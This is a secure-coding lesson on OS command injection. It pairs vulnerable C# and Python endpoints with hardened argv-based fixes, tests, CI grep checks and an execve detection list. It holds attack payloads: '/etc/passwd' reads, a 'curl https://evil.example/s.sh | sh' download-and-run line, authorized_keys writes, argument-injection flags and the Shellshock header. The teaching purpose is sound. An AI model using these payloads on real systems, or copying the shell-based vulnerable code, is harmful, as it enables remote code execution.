SecLab

Command injection

A05CWE-78
01

What it is

Command injection is when user input reaches a shell command and the shell reads it as SYNTAX rather than as an argument. ;, |, &&, $(...), backticks and newlines are all shell operators, so a string containing them stops being one argument and becomes a second command.

02

Why you should care

Relevance: CoreExpected: L2

This is the flaw with the highest impact per line of code: one string concatenated into Process.Start or os.system is remote code execution, not data disclosure. No escalation, no exploit chain.

What is worth remembering is that it always lives where nobody thinks they are handling user input:

  • image or video conversion via ffmpeg, imagemagick
  • PDF export via wkhtmltopdf, pandoc
  • ping/traceroute on an admin diagnostics page
  • git clone of a URL a user pasted
  • a cleanup job running rm against a user-chosen name

And the fix is unusually simple: do not invoke a shell. Pass arguments as an argv array. With no shell parsing a string, there are no operators to abuse — one of very few vulnerability classes where the correct fix is shorter than the broken code.

03

How the attack works

The mechanism is about who parses the string. A shell in the path means a parser that reads operators; no shell means the string is just the bytes of one argument.

Diagram source
flowchart TD    I["host = 8.8.8.8; cat /etc/passwd"] --> Q{Is a shell<br/>in the path?}    Q -->|"os.system / bash -c<br/>UseShellExecute = true"| SH["/bin/sh -c<br/>#quot;ping -c1 8.8.8.8; cat /etc/passwd#quot;"]    SH --> P["sh sees the ; → TWO commands"]    P --> B["🔓 ping runs, then cat runs"]    Q -->|"execve with an argv array"| EX["execve(#quot;/usr/bin/ping#quot;,<br/>[#quot;ping#quot;,#quot;-c1#quot;,#quot;8.8.8.8; cat /etc/passwd#quot;])"]    EX --> G["ping receives ONE argument<br/>→ #quot;invalid host#quot;"]

The key point is identical to SQL injection: on the safe branch the malicious string still arrives intact. Not a character is stripped — it is simply placed on the ARGUMENT side of the boundary, where no parser reads it.

The operators a blocklist would have to catch — and why blocklists lose:

OperatorExampleNote
; \n8.8.8.8; idA newline behaves exactly like a semicolon
&& `\\ &`8.8.8.8 && id& also backgrounds, so you see no output
$(…) ` `$(id)Command substitution, runs BEFORE the main command
`\``8.8.8.8 \id`Pipe
> <x > /app/.ssh/authorized_keysFile write — needs no output at all
${IFS}cat${IFS}/etc/passwdDefeats a "block spaces" fix

Argument injection is the lesser-known variant and needs no operator at all: if an argument starts with -, it becomes a flag. curl --output /app/x.php or ssh -o ProxyCommand=… is RCE with no special characters — which is why a -- before user-supplied arguments is part of the fix.

Diagram description: A branching diagram for the same input "8.8.8.8; cat /etc/passwd". The shell branch (os.system or UseShellExecute) hands the string to /bin/sh -c, sh sees the semicolon so reads two commands and runs cat too. The execve branch passes the string as one single argv element, so ping merely reports an invalid host.

04

Concrete example

An admin diagnostics page: enter a host, the server runs ping and returns the output.

HTTP
POST /api/admin/diagnostics/ping HTTP/1.1Content-Type: application/json {"host":"8.8.8.8; cat /etc/passwd"}
HTTP
HTTP/1.1 200 OK PING 8.8.8.8: 56 data bytes64 bytes from 8.8.8.8: icmp_seq=0 ttl=118 time=12.4 ms root:x:0:0:root:/root:/bin/bashapp:x:1000:1000::/home/app:/bin/sh

Blind variant — no output needed, only the ability to write a file:

HTTP
{"host":"x $(curl -s https://evil.example/s.sh | sh)"}

And argument injection, with not one special character:

HTTP
{"host":"-c1 --output /app/wwwroot/x.aspx"}
C#Two lines, two bugs: a shell in the path, and the argument is an already-joined string.
[HttpPost("/api/admin/diagnostics/ping")]public async Task<IActionResult> Ping([FromBody] PingRequest req){    // "Trang chẩn đoán nội bộ, chỉ admin dùng" là câu khiến đoạn này không bao giờ    // được review kỹ. Nhưng admin là một tài khoản, và tài khoản thì bị chiếm.    var psi = new ProcessStartInfo    {        FileName = "/bin/sh",        // ❌ 1 — có shell. sh sẽ ĐỌC chuỗi này và tìm toán tử trong đó.        // ❌ 2 — Arguments là một chuỗi: nó bị tách lại theo quy tắc của HĐH.        Arguments = $"-c \"ping -c1 {req.Host}\"",        UseShellExecute = false,      // ❌ 3 — false, nhưng vô nghĩa: sh đã ở FileName        RedirectStandardOutput = true,    };     using var p = Process.Start(psi)!;    var output = await p.StandardOutput.ReadToEndAsync();    await p.WaitForExitAsync();     return Ok(new { output });}
Python`shell=True` is the entire bug. Without it this line would be correct.
@app.post("/api/convert")def convert():    src = request.json["filename"]     # ❌ shell=True biến danh sách/chuỗi này thành đầu vào của /bin/sh.    #    filename = "a.png; curl evil|sh" là RCE, và đây là code chuyển đổi ảnh —    #    chỗ mà không ai nghĩ mình đang xử lý input người dùng.    subprocess.run(f"convert /uploads/{src} -resize 200x200 /out/{src}", shell=True)     return {"ok": True}
05

What happened in the wild

Shellshock — CVE-2014-6271, September 2014. Bash parsed function definitions out of environment variables, and CGI puts HTTP headers into environment variables. So a header User-Agent: () { :; }; /bin/id was RCE on any web server running CGI scripts. Worth reading because it is the clearest case for block 3's point: the bug was in no application code at all — it was in there being a shell in the path.

ImageTragick — CVE-2016-3714. ImageMagick's delegates passed filenames into a shell command, so an .mvg file containing fill 'url(https://x/";curl evil|sh")' was RCE the moment somebody uploaded an avatar. Block 2's lesson in pure form: the bug lives where nobody calls it "input handling".

06

How to defend

Layer 1

Do not invoke a shell — pass an argv array

mandatory

This is the whole fix, and it is shorter than the broken code. With no shell parsing the string, no operator exists.

  • .NET: ProcessStartInfo with UseShellExecute = false, adding each argument to ArgumentList (not the string Arguments property — it joins then re-splits, and the splitting differs across platforms).
  • Python: subprocess.run([...], shell=False). shell=False is the default — the problem is that os.system and shell=True still exist and are still more convenient.
  • Node: execFile/spawn with an array, not exec (which always goes through /bin/sh).
  • Go: exec.Command(name, args...) uses no shell by default — Go got this right from the start.

And a -- before user-supplied arguments: that closes argument injection, which needs no special character. For commands without -- support, validate that the argument does not begin with -.

C# · Layer 1No shell, an argv array, and `--` to close argument injection.
/// <summary>/// Ba thứ, và thứ ba là thứ hay bị bỏ://////   1. KHÔNG có shell — FileName là chính binary, không phải /bin/sh.///   2. ArgumentList, không phải Arguments: mỗi phần tử tới execve như MỘT đối số,///      không qua vòng ghép-rồi-tách nào.///   3. "--" trước đối số của người dùng, cộng một phép kiểm rằng nó không bắt đầu///      bằng "-". Argument injection không cần ký tự đặc biệt nào: "--output /app/x"///      đi qua mọi bản vá chỉ nghĩ tới ; và |./// </summary>public sealed class PingService{    // Đường dẫn TUYỆT ĐỐI. Tên trần phụ thuộc PATH, và PATH là thứ đổi được — qua    // biến môi trường của container, qua một Dockerfile bị sửa, qua chính RCE này.    private const string PingBinary = "/usr/bin/ping";     public async Task<string> PingAsync(string host, CancellationToken ct)    {        // Kiểm hình dạng: KHÔNG phải bản vá chính, chỉ là chặn sớm cho thông báo lỗi        // tử tế. Bản vá chính là ArgumentList bên dưới, và nó đứng vững cả khi phép        // kiểm này bị ai đó xoá đi trong lần refactor sau.        if (host.Length is 0 or > 253 || host.StartsWith('-'))            throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Invalid host");         var psi = new ProcessStartInfo        {            FileName = PingBinary,            UseShellExecute = false,            RedirectStandardOutput = true,            RedirectStandardError = true,        };         // Mỗi phần tử là MỘT đối số. Chuỗi "8.8.8.8; cat /etc/passwd" tới ping        // nguyên vẹn — và ping trả lời "invalid host", đúng như một hostname sai.        psi.ArgumentList.Add("-c");        psi.ArgumentList.Add("1");        psi.ArgumentList.Add("-W");        psi.ArgumentList.Add("2");        psi.ArgumentList.Add("--");     // mọi thứ sau đây là toán hạng, không phải cờ        psi.ArgumentList.Add(host);         using var p = Process.Start(psi)            ?? throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Could not start ping");         // Timeout là bắt buộc: một lệnh treo giữ một thread và một process con mãi mãi,        // và đó là DoS mà không cần lỗ hổng nào.        using var timeout = CancellationTokenSource.CreateLinkedTokenSource(ct);        timeout.CancelAfter(TimeSpan.FromSeconds(5));         var stdout = await p.StandardOutput.ReadToEndAsync(timeout.Token);        try        {            await p.WaitForExitAsync(timeout.Token);        }        catch (OperationCanceledException)        {            p.Kill(entireProcessTree: true);            throw new ApplicationGeneralException(ContentErrorsList.INVALID_SOURCE, "Ping timed out");        }         return stdout;    }} // Và bản vá TỐT HƠN cho đúng trường hợp này: không có process con nào cả.// Phần lớn lời gọi shell trong web app tồn tại vì nó nhanh nhất, không vì nó là// cách duy nhất — .NET có sẵn ICMP trong thư viện chuẩn.public async Task<string> PingWithoutProcessAsync(string host, CancellationToken ct){    using var ping = new System.Net.NetworkInformation.Ping();    var reply = await ping.SendPingAsync(host, TimeSpan.FromSeconds(2), cancellationToken: ct);    return $"{reply.Status} {reply.RoundtripTime}ms";}
Python · Layer 1An argv array, explicit `shell=False`, `--`, and a timeout.
import reimport subprocessfrom pathlib import Path UPLOADS = Path("/uploads").resolve()OUT = Path("/out").resolve() # Tên file do người dùng đặt: allowlist HÌNH DẠNG. Đây không phải bản vá chính —# bản vá chính là mảng argv — nhưng nó chặn sớm và đóng luôn path traversal.SAFE_NAME = re.compile(r"^[A-Za-z0-9_-]{1,64}\.(png|jpe?g|webp)$")  class UnsafeInput(Exception):    pass  def convert(filename: str) -> Path:    if not SAFE_NAME.match(filename):        raise UnsafeInput("bad filename")     src = (UPLOADS / filename).resolve()    dst = (OUT / filename).resolve()    # Canonical hoá rồi so — xem topic path-traversal. SAFE_NAME đã chặn "../"    # nhưng dựa vào một regex duy nhất là dựa vào việc không ai sửa nó.    if not src.is_relative_to(UPLOADS) or not dst.is_relative_to(OUT):        raise UnsafeInput("escapes directory")     subprocess.run(        [            "/usr/bin/convert",   # đường dẫn tuyệt đối: không phụ thuộc PATH            "--",                 # mọi thứ sau đây là toán hạng, không phải cờ            str(src),            "-resize", "200x200",            str(dst),        ],        shell=False,              # mặc định, nhưng viết ra để người đọc sau thấy là cố ý        check=True,        timeout=20,               # lệnh treo là DoS không cần lỗ hổng nào        capture_output=True,      # stderr vào log, KHÔNG vào response    )    return dst
Layer 1b

Better still: do not call an external command

Most shell calls in a web app exist because that was the fastest route, not the only one. Ping has System.Net.NetworkInformation.Ping; image resizing has ImageSharp or Pillow in-process; archiving has System.IO.Compression. No child process means no such surface.

When you must call out (ffmpeg, pandoc — no equivalent library), keep an allowlist of command names and use absolute paths: /usr/bin/ffmpeg, not ffmpeg. A bare name depends on PATH, and PATH is something that can be changed.

Layer 2

Least privilege for the child process

This layer decides what RCE gets. Run the service as a non-root user, with readOnlyRootFilesystem: true, allowPrivilegeEscalation: false, and all Linux capabilities dropped. On Kubernetes add seccompProfile: RuntimeDefault — it blocks most syscalls a payload needs.

And egress: an RCE that cannot call out cannot stage a second payload and cannot exfiltrate. See the SSRF topic for the concrete NetworkPolicy.

Layer 3

Detection: a child process is an event worth logging

A normal web app spawns very few child processes, and its set of command names barely changes. So an execve with a command name outside the allowlist is an extremely low-noise signal — unlike most security alerting. Falco or an eBPF audit on execve inside the app namespace, alerting on sh, curl, wget, nc or python that the app never legitimately runs.

Layer 3 because it blocks nothing — but it is the only control on this page that tells you while it is happening.

07

Verifying the fix

1. A unit test taking the OPERATOR TABLE from block 3 as input data, asserting the right thing: the malicious string arrives at the command as one single argument. A "does not throw" test is one a blocklist fix also passes. See the csharp / test tab.

2. A merge-blocking grep — the highest-yield check on this topic, because the dangerous APIs have a small, fixed set of names:

Shell
# .NET: string Arguments and UseShellExecute = truegrep -rnE 'UseShellExecute *= *true|\.Arguments *=' --include='*.cs' src/ \  && { echo "shell or string Arguments — blocked"; exit 1; }# Python / Nodegrep -rnE 'os\.system|shell *= *True|child_process\.exec\(|\bexecSync\(' \  --include='*.py' --include='*.ts' --include='*.js' src/ \  && { echo "shell invocation — blocked"; exit 1; }exit 0

3. Check at runtime that the process cannot spawn a useful shell (layer 2):

Shell
# Inside the container, these MUST fail:docker exec app id -u | grep -qv '^0$' || { echo "running as root"; exit 1; }docker exec app touch /app/x               && { echo "root fs writable"; exit 1; }docker exec app sh -c 'curl -m2 https://example.com' && { echo "egress open"; exit 1; }exit 0

4. A separate argument-injection test. This is the check almost nobody writes: send -c1 --output /tmp/pwned and assert the file never appears. If it passes and you have not added --, the fix still has a hole.

5. Prove the execve alert actually fires. Run a non-allowlisted command in staging and assert the alert triggers. A detection rule nobody has ever tripped is a rule of unknown status.

C#Block 3's operator table is the test data — including the argument-injection row.
public class PingServiceTests{    private readonly PingService _svc = new();     /// <summary>    /// Mỗi dòng là một hàng của bảng toán tử ở khối 3. Khẳng định ở đây là điểm chính:    /// KHÔNG phải "không throw" (một bản vá blocklist cũng không throw) mà là    /// "lệnh thứ hai KHÔNG chạy" — kiểm bằng tác dụng phụ mà lệnh đó sẽ để lại.    /// </summary>    [Theory]    [InlineData("8.8.8.8; touch /tmp/seclab-pwned")]    [InlineData("8.8.8.8 && touch /tmp/seclab-pwned")]    [InlineData("8.8.8.8 | touch /tmp/seclab-pwned")]    [InlineData("8.8.8.8\ntouch /tmp/seclab-pwned")]    [InlineData("$(touch /tmp/seclab-pwned)")]    [InlineData("`touch /tmp/seclab-pwned`")]    [InlineData("x;touch${IFS}/tmp/seclab-pwned")]    public async Task Second_command_never_runs(string host)    {        const string marker = "/tmp/seclab-pwned";        if (File.Exists(marker)) File.Delete(marker);         // Lệnh có thể lỗi (host không hợp lệ) — điều đó bình thường và không phải        // điều đang được kiểm.        try { await _svc.PingAsync(host, default); } catch { /* mong đợi */ }         Assert.False(File.Exists(marker), $"lệnh thứ hai đã chạy với payload: {host}");    }     /// <summary>    /// Argument injection: KHÔNG có một ký tự đặc biệt nào ở đây. Test này là lý do    /// "--" tồn tại trong ArgumentList — bỏ dòng đó ra thì đúng test này đỏ.    /// </summary>    [Theory]    [InlineData("-f")]                       // ping flood — DoS, không cần file nào    [InlineData("--help")]    [InlineData("-c1 --output /tmp/seclab-pwned")]    public async Task Arguments_starting_with_dash_are_rejected(string host)    {        var ex = await Assert.ThrowsAsync<ApplicationGeneralException>(            () => _svc.PingAsync(host, default));         Assert.Contains("Invalid host", ex.Message);    }     /// <summary>Cặp đôi: host thật vẫn phải chạy được, nếu không bản vá là "chặn tất".</summary>    [Fact]    public async Task Real_host_still_works()    {        var output = await _svc.PingAsync("127.0.0.1", default);         Assert.Contains("127.0.0.1", output);    }}
08

Common mistakes

The "fix"Why it is wrong
Escape or quote the string, still go through a shellCorrect quoting for sh is wrong for cmd.exe; and $(…) still works inside double quotes
Blocklist ; `\ &`There is still \n, $(…), backticks, ${IFS}, > — the block 3 table does not end
Arguments = $"ping -c1 {host}" in .NETStill one string that gets re-split, and the splitting differs between Windows and Linux. ArgumentList is the fix
Regex-validate "safe characters only"A good check to ADD, but it does not close argument injection: -c1 matches every "digits and dashes" regex
Use shlex.quote()Better than hand-escaping, but it still assumes a POSIX shell and still does not stop -flag. Drop the shell and you do not need it
"It runs in a container, so it is safe"A container bounds the damage (layer 2), it does not stop RCE. And if it runs as root inside the container, it bounds very little

The most common scoping mistake: only looking where the word "command" appears. The real bug lives in the image-resize helper, the PDF export step, a git clone, or a library delegate you did not know shells out (ImageMagick is exactly that). The way to find it is to grep the process-spawning APIs, not the word "command".

The severity mistake: treating blind command injection as low risk because no output comes back. > /app/.ssh/authorized_keys needs no output.

09

References

Tier 1ProcessStartInfo.ArgumentList Property · Microsoft · .NET API reference · .NET 8
Tier 1subprocess — Security Considerations · Python Software Foundation · Python documentation · 3.12
Tier 1CVE-2014-6271 (Shellshock) · NIST · National Vulnerability Database · CVSS 2.0 10.0
Tier 2OS command injection · PortSwigger · Web Security Academy
Tier 2OS Command Injection Defense Cheat Sheet · OWASP · Cheat Sheet Series
Tier 3ImageTragick — CVE-2016-3714 · imagetragick.com
Part of path
Secure Backend DeveloperView path

Comments

Join the discussion
Sign up to comment

Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.

Sign upSign in

You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.

Loading comments…